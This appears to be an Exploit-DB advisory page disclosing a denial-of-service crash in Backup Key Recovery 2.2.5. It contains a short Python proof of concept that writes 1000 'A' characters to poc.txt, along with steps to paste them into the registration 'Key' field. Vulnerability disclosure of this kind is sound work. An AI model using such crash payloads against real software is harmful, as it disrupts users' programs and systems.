Backup Key Recovery Recover Keys Crashed Hard Disk Drive 2.2.5 - 'Key' Denial of Service (PoC)

vendor:

Backup Key Recovery

by:

Ismail Tasdelen

5.5

CVSS

MEDIUM

Denial of Service

CWE

Product Name: Backup Key Recovery

Affected Version From: 2.2.2005

Affected Version To: 2.2.2005

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 10

2020

Backup Key Recovery Recover Keys Crashed Hard Disk Drive 2.2.5 – ‘Key’ Denial of Service (PoC)

This exploit allows an attacker to crash the Backup Key Recovery software by providing a specially crafted 'Key' value. By running a python script, a file (poc.txt) is created with a payload of 1000 'A' characters. When the software is launched and the payload is copied into the 'Key' field, the software crashes.

Mitigation:

The vendor should release a patch or update to fix the software crash when handling the specially crafted 'Key' value.

Source

Exploit-DB raw data:

# Exploit Title: Backup Key Recovery Recover Keys Crashed Hard Disk Drive 2.2.5 - 'Key' Denial of Service (PoC)
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : http://www.nsauditor.com/
# Link Software : http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
# Tested on OS: Windows 10
# CVE : N/A

'''
Proof of Concept (PoC):
=======================

1.Download and install Backup Key Recovery
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Register -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Key' and click on 'Ok'
6.Backup Key Recovery Crashed
'''

#!/usr/bin/python
    
buffer = "A" * 1000
 
payload = buffer
try:
    f=open("poc.txt","w")
    print("[+] Creating %s bytes evil payload." %len(payload))
    f.write(payload)
    f.close()
    print("[+] File created!")
except:
    print("File cannot be created.")